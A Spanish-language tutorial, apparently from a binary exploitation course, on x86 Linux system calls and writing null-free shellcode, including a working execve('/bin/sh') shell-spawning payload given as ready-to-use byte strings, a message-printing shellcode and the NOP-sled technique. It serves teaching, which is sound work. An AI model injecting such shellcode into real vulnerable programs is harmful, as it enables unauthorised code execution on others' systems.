SYSCALL Y SHELLCODE
En este artículo nos centramos en desarrollar conceptos muy importantes a la hora de entender el funcionamiento de un Buffer Overflow como son los syscall y los shellcode.
INTRODUCCIÓN
En esta instancia el objetivo será aprovecharse de una vulnerabilidad de un programa para ejecutar código malicioso que no está en el binario original. En otras palabras, lo que se busca ejecutar es un shellcode.
Un shellcode es un código que se inyecta en la memoria de un programa vulnerable bajo la forma de un string de bytes. El nombre shellcode se refería históricamente a inyectar un programa shell que permite ejecutar cualquier otro comando, no obstante hoy el término se usa de manera general para hablar de la inyección de código malicioso. Es posible programar un shellcode para que haga cualquier cosa que se nos ocurra dado que en última instancia es en sí mismo un programa.
Un programa en C que utiliza funciones como printf()
o write()
de la biblioteca libc
, usa esta biblioteca para realizar llamadas al sistema operativo que es el encargado de manejar cuestiones como la escritura, lectura y ejecución de programas. Hay que tener en cuenta que el shellcode no se va a cargar en memoria por el sistema operativo, sino que directamente es copiado a la memoria del programa vulnerable como una cadena de caracteres, aprovechando funciones como strcpy()
y gets()
.
Es por ello que, si nuestro shellcode utiliza una función como write()
(lo más probable es que necesitemos que lo haga) esas llamadas al sistema operativo deben ser manejadas directamente. Es necesario entonces comprender el funcionamiento de las llamadas al sistema antes de continuar con la creación de un shellcode en sí mismo.
LLAMADAS AL SISTEMA
A la hora de planear estrategias de ataque se usarán frecuentemente llamadas al sistema.
Los programas que corren en el espacio de usuario cuando requieren interactuar con el sistema operativo deben realizar llamadas al sistema para que el sistema operativo realice las operaciones en su nombre.
La manera en que se hace esta llamada es diferente para cada arquitectura, en el caso de x86 los programas de usuario pueden hacer una llamada al sistema con una interrupción por software con la instrucción int 0x80
.
En Linux cada llamada toma sus argumentos de los registros según el siguiente criterio:
eax => nro de syscall
ebx => 1er argumento
ecx => 2do argumento
edx => 3er argumento
Para saber el número que corresponde a cada syscall se puede consultar: /usr/include/asm/unistd_32.h
.
Según la syscall en cuestión será necesario definir también los valores de otros registros.
Con strace
es posible rastrear las llamadas a sistema que suceden cuando tenemos un programa en C tan simple como:
test-syscalls.c
#include
int main() {
printf("Hola mundo!\n");
return 0;
}
user@abos:~$ gcc -m32 -no-pie -o test-syscalls test-syscalls.c
user@abos:~$ strace ./test-syscalls
execve("./llamada-sistema", ["./llamada-sistema"], [/* 18 vars */]) = 0
brk(0) = 0x804a000
....
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 2), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fd8000
=> write(1, "Hola mundo!\n", 12) = 12
exit_group(0) = ?
+++ exited with 0 +++
De este modo es posible rastrear la llamada al systema write
que es la encargada de efectivamente imprimir el string.
Syscall write:
Para imprimir por salida estándar (stdout
) es necesaria la syscall write.
$ man 2 write ; documentación de syscalls
WRITE(2)
SYNOPSIS
#include
ssize_t write(int fd, const void *buf, size_t count);
Con los registros seteados de la siguiente manera:
eax => nro 4 syscall write
ebx => 1er argumento: fd o file descriptor. Es 1 para stdout.
ecx => 2do argumento: *buf o mensaje a imprimir.
edx => 3er argumento: count o longitud del mensaje.
Ejemplo de una syscall write
en assembler:
section .data ; segmento DATA
mensaje db "Hola mundo", 0x0a
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
; syscall write(1, mensaje, 11)
mov eax, 4 ; 4 = write, nro syscall
mov ebx, 1 ; 1 = stdout, filedescriptor
mov ecx, mensaje ; mensaje en ecx
mov edx, 11 ; longitud del mensaje (Hola mundo\n)
int 0x80 ; interrupcion de llamado al sistema
Syscall exit:
Para finalizar un proceso se usa el syscall exit:
$ man 2 exit
EXIT(2)
SYNOPSIS
#include
void _exit(int status);
Los registros deben estar seteados de la siguiente manera:
eax => nro 1 syscall exit
ebx => 1er argumento: status.
Si quisieramos ejecutar exit(0)
, el código assembler necesario sería:
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
; syscall exit(0)
xor ebx,ebx ; ebx = 0, status code
xor eax,eax
mov al,0x1 ; 1 = exit, nro syscall
int 0x80
Syscall execve:
Para ejecutar un programa se usa el syscall execve, que corresponde al syscall 11.
$ man 2 execve
EXECVE(2)
SYNOPSIS
#include
int execve(const char *filename, char *const argv[], char *const envp[]);
Para ejecutar execve
los registros deben estar seteados de la siguiente manera:
eax => nro 11 syscall execve
ebx => 1er argumento: filename, un puntero al nombre del binario a ejecutar.
ecx => 2do argumento: argv[], un puntero a un array de argumentos (comenzando por el nombre del binario y finalizando con un caracter nulo).
edx => 3er argumento: envp[], un puntero a un array de variables de entorno, que también finaliza en un caracter nulo.
Para simplificar el código en assembler, buscamos ejecutar execve("/bin/sh", NULL, NULL)
(con argv[]
y envp[]
en NULL
). Para ello los registros deben estar seteados de la siguiente manera:
eax => nro 11 syscall execve
ebx => 1er argumento: puntero al string /bin/sh.
ecx => 2do argumento: NULL
edx => 3er argumento: NULL
Y el código en assembler sería:
31 c0 xor eax,eax
50 push eax ; \0
68 2f 2f 73 68 push 0x68732f2f ; hs// en ASCII (little endian de //sh)
68 2f 62 69 6e push 0x6e69622f ; nib/ en ASCII (little endian de /bin)
89 e3 mov ebx, esp ; ebx => /bin//sh\0
89 c1 mov ecx, eax ; ecx = 0x0
89 c2 mov edx, eax ; edx = 0x0
b0 0b mov al, 0x0b ; 11 = execve, nro syscall
cd 80 int 0x80
Ejemplo tomado de Shell storm.
Consideraciones: el uso de una doble barra de /bin//sh
es por el problema de la escritura de caracteres nulos en el shellcode. La barra extra permite alinear el string /bin//sh
en dos double-words (de 4 bytes cada una), quedando el \0
final en la siguiente word o palabra. Este alineamiento permite generar ese \0
final con un xor
, sin tener el problema de la escritura de caracteres nulos. Si en cambio se elimina la doble barra, el \0
formaría parte de la segunda double-word y con un xor
no lograríamos incluirlo en el string y un mecanismo más complejo sería necesario. La cuestión de los caracteres especiales en el shellcode se desarrolla más adelante.
Ensamblar y linkear
Cuando compilamos un programa en C, gcc
se ocupa de ensamblar el programa y linkearlo para lograr el archivo ELF ejecutable. De manera similar cuando partimos de un programa en assembler y queremos obtener un archivo ELF ejecutable podemos ensamblar el programa con nasm -f ELF
y linkearlo con ld
.
Para indicarle al linker dónde comienzan las instrucciones en assembler se agrega la línea global _start
.
Creamos un programa holaMundo.asm
en assembler con las llamadas write()
y exit()
:
section .data ; segmento DATA
mensaje db "Hola mundo", 0x0a
section .text ; segmento TEXT
global _start ; punto de entrada del ELF
_start:
;syscall write(1, mensaje, 11)
mov eax, 4 ; syscall write: #4
mov ebx, 1 ; stdout filedescriptor: #1
mov ecx, mensaje ; mensaje en ecx
mov edx, 11 ; longitud del mensaje (Hola mundo\n)
int 0x80 ; interrupcion
;syscall exit(0)
mov eax, 1
mov ebx, 0
int 0x80
Consideraciones: es importante tener en mente que el string se almacenó en la sección .data. En el siguiente apartado se retomará este punto y se explicará pórque no es posible conducirse de ese modo y se planteará una estrategia alternativa.
Lo ensamblamos:
user@abos:~$ nasm -f elf holaMundo.asm
nasm
con el argumento -f elf
ensambla el programa en un archivo objeto preparado para ser linkeado como un binario ELF. Como resultado genera el archivo objeto holaMundo.o
.
Linkeamos ese archivo objeto:
user@abos:~$ ld -o holaMundo holaMundo.o
ld
va a crear un binario ELF a partir del archivo objeto.
Ejecutamos y vemos la salida estándar y la finalización del programa:
user@abos:~$ ./holaMundo
Hola mundo
SHELLCODE
Cuando se trata de un exploit que incluye un shellcode existen 3 instancias importantes:
La programación del shellcode.
Su inyección en memoria como string de bytes.
Lograr su ejecución.
El shellcode no es un programa ejecutable como cualquier otro, sus instrucciones deben ser autocontenidas para lograr su ejecución por parte del procesador sin importar el estado actual del programa vulnerable. El shellcode no va a ser linkeado ni va a ser cargado en memoria como un proceso por el sistema operativo. Es por ello que los ejemplos de llamadas al sistema deben ser retocados para cumplir ciertos criterios:
No disponemos del segmento data: no es posible utilizar el segmento de datos en el código assembler del shellcode como se hizo con “Hola mundo” en el ejemplo anterior
holaMundo.asm
. El shellcode no se ejecutará como un programa corriente ni sus segmentos serán cargados en memoria por el sistema operativo. Es por ello que veremos maneras de manipular un string sin recurrir a la sección .data.Evitar caracteres especiales: el shellcode no debe tener caracteres especiales como
\x00
entre sus bytes porque se copia en memoria con funciones que manipulan strings comostrcpy()
. Usarlos provocaría que el shellcode quede truncado. (Es posible por prueba y error detectar qué caracter finaliza el copiado del shellcode en memoria, según la función vulnerable de la que se trate).Mínima longitud: el shellcode debe tener la mínima longitud posible porque en la mayoría de los casos no contamos con demasiado espacio en el búfer para almacenarlo.
Programar un shellcode
Es recomendable comenzar programando unx mismx los shellcodes más sencillos para comprender su funcionamiento y acercarse a la potencia de crear shellcodes ad-hoc. No obstante existen repositorios de shellcodes a disposición en Shell storm o exploit-db. Es importante manipular estos binarios con extrema precaución, por ejemplo trabajando con un entorno virtualizado como buena práctica.
Estrategias para crear un shellcode inyectable dentro de un programa vulnerable:
Suponiendo que queremos con nuestro shellcode imprimir un mensaje por salida estándar, similar al siguiente programa en C:
#include
int main(){
write(1, “you win!”, 8);
}
Seguimos la directivas indicadas anteriormente.
No disponemos del segmento data: el string “you win” debe ser almacenado en la pila directamente para evitar el uso del segmento de datos. Al hacerlo de esa manera necesitamos un puntero al string para pasarle como argumento a
write()
y lograr que se imprima ese mensaje, ya que no conocemos de antemano su dirección exacta.Para contar con la dirección del string podemos aprovechar que la instrucción
call
en assembler se encarga de almacenar en la pila la dirección que sigue alcall
antes de hacer el salto a la función llamada y de esta manera poder retornar una vez finalizada su ejecución. Agregamos uncall
ad-hoc seguido del string que sólo sirva para almacenar su dirección en un lugar conocido de la pila.shellcode.asm
section .text global _start _start: +---< jmp short dummy ; 1. salto a un dummy con el call | | -> imprimir_str: ; 3. syscall write() | | pop ecx ; desapilo la dirección del string en ecx | | .... | | | | +->| dummy: +--< call imprimir_str ; 2. llamo al código encargado de imprimir el mensaje db 'you win!A' ; antes de saltar apila dirección de "you win!A" ; para retornar luego del call
Una vez almacenada la dirección del string, con la instrucción
pop
lo almacenamos en un registro para su uso posterior.Evitar caracteres especiales: se usan ciertos trucos para que al compilar el código binario no tenga caracteres nulos.
En las llamadas a sistema es frecuente tener que poner en cero un registro (por ejemplo para el status del syscall
exit
). Si en vez de copiar un cero usamos un OR exclusivo (un XOR de un valor con sí mismo siempre da cero) logramos el objetivo sin valores nulos en el código máquina.instrucción | código máquina mov eax, 0 \xb8\x00\x00\x00\x00 ; eax = 0. Pero con valores nulos en código máquina. xor eax, eax \x31\xc0 ; eax = 0. Sin valores nulos.
Cuando una instrucción manipula un registro de 32 bits (como
eax
) y el otro de sus operandos ocupa menos bits (por ejemplo un entero como el número 2) se completa con ceros, es decir 2 pasa a ser0000 0002
y almacenado bajo el formato little endian\x02\x00\x00\x00
como se puede ver en el código máquina de abajo. Para evitar los caracteres nulos finales es posible usar únicamente las partes del registro necesarias para la operación (por ejemplo, conal
se manipulan sólo los 8 bits menos significativos del registro).instrucción | código máquina mov eax, 2 \xb8\x02\x00\x00\x00 ; eax = 00 00 00 02 mov ax, 2 \x66\xb0\x02\x00 ; eax = ?? ?? 00 02 mov al, 2 \xb0\x02 ; eax = ?? ?? ?? 02. Sin caracteres nulos en cód. maquina
Al hacer esto, el resto de los bits de
eax
tienen datos desconocidos, lo que puede provocar un funcionamiento inesperado. Por eso es importante antes de estas operaciones poner en 0 el registro.instrucción | código máquina xor eax, eax \x31\xc0 ; eax = 00 00 00 00 mov al, 2 \xb0\x02 ; eax = 00 00 00 02
Finalmente, logramos un código máquina resultante
\x31\xc0\xb0\x02
que no tiene caracteres nulos.¿Cómo finalizar el string a imprimir sin usar un caracter especial que trunque el shellcode (como el caracter nulo
\0
, nueva línea\x0a
o retorno de carro\x0d
)? En estos casos usamos un caracter cualquiera para finalizar el string (por ejemplo la letraA
) y después reemplazamos su valor por\0
.section .text global _start _start: +---< jmp short dummy ; 1. salto a un dummy con el call | | -> imprimir_str: ; 3. syscall write() | | pop ecx ; ecx => 'you win!A' | | xor eax, eax | | mov [ecx+8], al ; ecx => 'you win!\0' | | .... | | -->| dummy: +--< call imprimir_str ; 2. llamo al código encargado de imprimir el mensaje db 'you win!A' ; antes de saltar apila dirección de "you win!A" ; para retornar luego del call
Como resultado final tenemos en
ecx
la dirección del stringyou win!\0
.
db es la directiva define byte que permite reservar espacio en memoria para un string, como en db 'you win!A'
Mínima longitud: en muchos casos dos instrucciones en assembler cumplen el mismo objetivo pero una de ellas consume menos bytes. Hay que estar atentxs para optar siempre por la opción menos costosa en espacio. Por ejemplo si un syscall obliga a poner en 1 un registro, existen dos maneras de hacerlo:
instrucción | código máquina xor ebx, ebx \x31\xdb ; ebx = 00 00 00 00 mov bl, 1 \xb3\x01 ; ebx = 00 00 00 01
instrucción | código máquina xor ebx, ebx \x31\xdb ; ebx = 00 00 00 00 inc ebx \x43 ; ebx = 00 00 00 01
¡Usando
inc
en vez demov
ahorramos 8 bits! Parece poco pero es clave cuando almacenamos un shellcode en espacios de memoria reducidos.
Shellcode que imprime “you win!”
Código en assembler:
shellcode.asm
section .text global _start _start: +---< jmp short dummy ; 1. | | -> imprimir_str: ; 3. | | xor eax,eax ; eax = 0 | | pop ecx ; ecx => "you win!A" | | mov [ecx+8],al ; ecx => "you win!\0" | | mov al,4 ; syscall write: #4 | | xor ebx,ebx ; ebx = 0 | | inc ebx ; stdout filedescriptor: #1 | | xor edx,edx ; edx = 0 | | mov dl,9 ; longitud "you win!\0": 9 | | int 0x80 ; write(1, string, 9) | | | | mov al,1 ; syscall exit: #1 | | dec ebx ; ebx = 0 | | int 0x80 ; exit(0) | | -->| dummy: ; 2. +--< call imprimir_str ; apilo addr "you win!A" db 'you win!A'
Shellcode como string Existen varias maneras de obtener el código de máquina como cadena de caracteres a partir del código assembler. Con herramientas como Online x86 de Defuse o con pwntools para trabajar en python. Otra manera simple de obtenerlo es usando
hexdump
desde la consola.user@abos:~$ nasm -f elf shellcode.asm ; ensamblamos user@abos:~$ ld -N shellcode.o -o shellcode ; linkeamos user@abos:~$ objcopy -j .text -O binary shellcode.o shellcode.bin ; extraemos section .text user@abos:~$ hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo ; extraemos byte code de binario \xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41
Y el código de máquina obtenido debe coincidir con el código de máquina mostrado en la segunda columna al desensamblar con
objdump
:user@abos:~$ objdump -d -M intel shellcode shellcode: file format elf32-i386 Disassembly of section .text: 08048060 <_start>: 8048060: eb 16 jmp 8048078 08048062 : 8048062: 31 c0 xor eax,eax 8048064: 59 pop ecx 8048065: 88 41 08 mov BYTE PTR [ecx+0x8],al 8048068: b0 04 mov al,0x4 804806a: 31 db xor ebx,ebx 804806c: 43 inc ebx 804806d: 31 d2 xor edx,edx 804806f: b2 09 mov dl,0x9 8048071: cd 80 int 0x80 8048073: b0 01 mov al,0x1 8048075: 4b dec ebx 8048076: cd 80 int 0x80 08048078 : 8048078: e8 e5 ff ff ff call 8048062 804807d: 79 6f jns 80480ee <_end+0x66> ; \x79\x6f = "yo" 804807f: 75 20 jne 80480a1 <_end+0x19> ; \x75\x20 = "u " 8048081: 77 69 ja 80480ec <_end+0x64> ; \x77\x69 = "wi" 8048083: 6e outs dx,BYTE PTR ds:[esi] ; \x6e = "n" 8048084: 21 .byte 0x21 ; \x21 = "!" 8048085: 41 inc ecx ; \x41 = "A"
Es posible ver como el string es interpretado como instrucciones; es necesario obviarlas y convertir a ASCII el código máquina para verificar el texto “you win!A”
En todos los casos el shellcode como string que vamos a usar en los exploits para imprimir el mensaje “you win!” va a ser:
shellcode = "\xeb\x16\x31\xc0\x59\x88\x41\x08\xb0\x04\x31\xdb\x43"
shellcode += "\x31\xd2\xb2\x09\xcd\x80\xb0\x01\x4b\xcd\x80\xe8\xe5"
shellcode += "\xff\xff\xff\x79\x6f\x75\x20\x77\x69\x6e\x21\x41"
Shellcode para lograr una shell
El siguiente código de ejemplo fue tomado del libro Hacking the art of exploitation. Suponiendo que queremos obtener una shell con nuestro shellcode, de manera similar al siguiente programa en C:
#include
int main(){
char filename[] = "/bin/sh\x00";
char **argv, **envp;
argv[0] = filename; // único argumento: nombre del programa
argv[1] = 0; // \0 fin del array de argumentos
envp[0] = 0; // \0 fin del array de entorno
execve(filename, argv, envp);
}
Código en assembler:
shellcode.asm
section .text global _start _start: +---< jmp short dummy ; 1. | | -> shellcode: ; 3. | | xor eax,eax ; eax = 0 | | pop ebx ; ebx => "/bin/shABBBBCCCC" | | mov [ebx+7], al ; execve("/bin/sh\0", BBBB, CCCC). | | mov [ebx+8], ebx ; execve("/bin/sh\0", &"/bin/sh", CCCC). [ebx+8]: argv | | mov [ebx+12],eax ; execve("/bin/sh\0", &"/bin/sh", 0000). [ebx+12]: envp | | | | lea ecx, [ebx+8] ; ecx = argv | | lea edx, [ebx+12] ; edx = envp | | mov al,11 ; syscall execve: #11 | | int 0x80 ; execve("/bin/sh\0", &"/bin/sh", 0000) | | | | mov al,1 ; syscall exit: #1 | | xor ebx, ebx ; ebx = 0 | | int 0x80 ; exit(0) | | -->| dummy: ; 2. +--< call shellcode ; apilo addr "/bin/shABBBBCCCC" db '/bin/shABBBBCCCC' ; execve(/bin/shA, BBBB, CCCC);
Shellcode como string
user@abos:~$ nasm -f elf shellcode.asm ; ensamblamos user@abos:~$ ld -N shellcode.o -o shellcode ; linkeamos user@abos:~$ objcopy -j .text -O binary shellcode.o shellcode.bin ; extraemos section .text user@abos:~$ hexdump -v -e '"\\" 1/1 "x%02x"' shellcode.bin; echo ; extraemos byte code de binario \xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43
El shellcode como string que vamos a usar en los exploits para obtener una shell va a ser:
shellcode = "\xeb\x1e\x31\xc0\x5b\x88\x43\x07\x89\x5b\x08\x89\x43\x0c" shellcode += "\x8d\x4b\x08\x8d\x53\x0c\x31\xd2\xb0\x0b\xcd\x80\xb0\x01" shellcode += "\x31\xdb\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f" shellcode += "\x73\x68\x41\x42\x42\x42\x42\x43\x43\x43\x43"
Acá se presentan dos ejemplos de shellcodes, sin dudas existen muchas variantes que logran el mismo objetivo.
Tobogán de NOPs
Una dificultad a la hora de ejecutar el shellcode radica en saber exactamente en qué dirección de memoria se encuentra.
Para evitar errarle por pocos bytes se usa como recurso la instrucción No-Op o NOP (No Operation instruction). Cada NOP ocupa un byte (0x90 en Assembler) y es una instrucción que no hace nada, sólo avanza el contador del programa a la siguiente instrucción a ejecutar.
Si se agregan varias instrucciones NOP (formando un NOP sled
o tobogán de Nops que -sin hacer nada- lleven hacia la ejecución del shellcode) y se modifica el flujo de ejecución para que salte allí, sabemos que eventualmente el shellcode se va a ejecutar.
Esto permite tener margen de error al definir la dirección de retorno y aumenta las chances de ejecutar el shellcode.
REFERENCIAS
[1]. Anley, C., Heasman, J., Linder, F., Richarte, G. (2007). The Shellcoder’s Handbook: Discovering and Exploiting Security Holes. [2]. Erickson, Jon. (2008). Hacking: the art of exploitation. [3]. D’Antoine, Sophia. (2015). Shellcoding: Modern Binary Exploitation CSCI 4968. Disponible en: http://security.cs.rpi.edu/courses/binexp-spring2015/lectures/7/05_lecture.pdf
Última actualización
¿Te fue útil?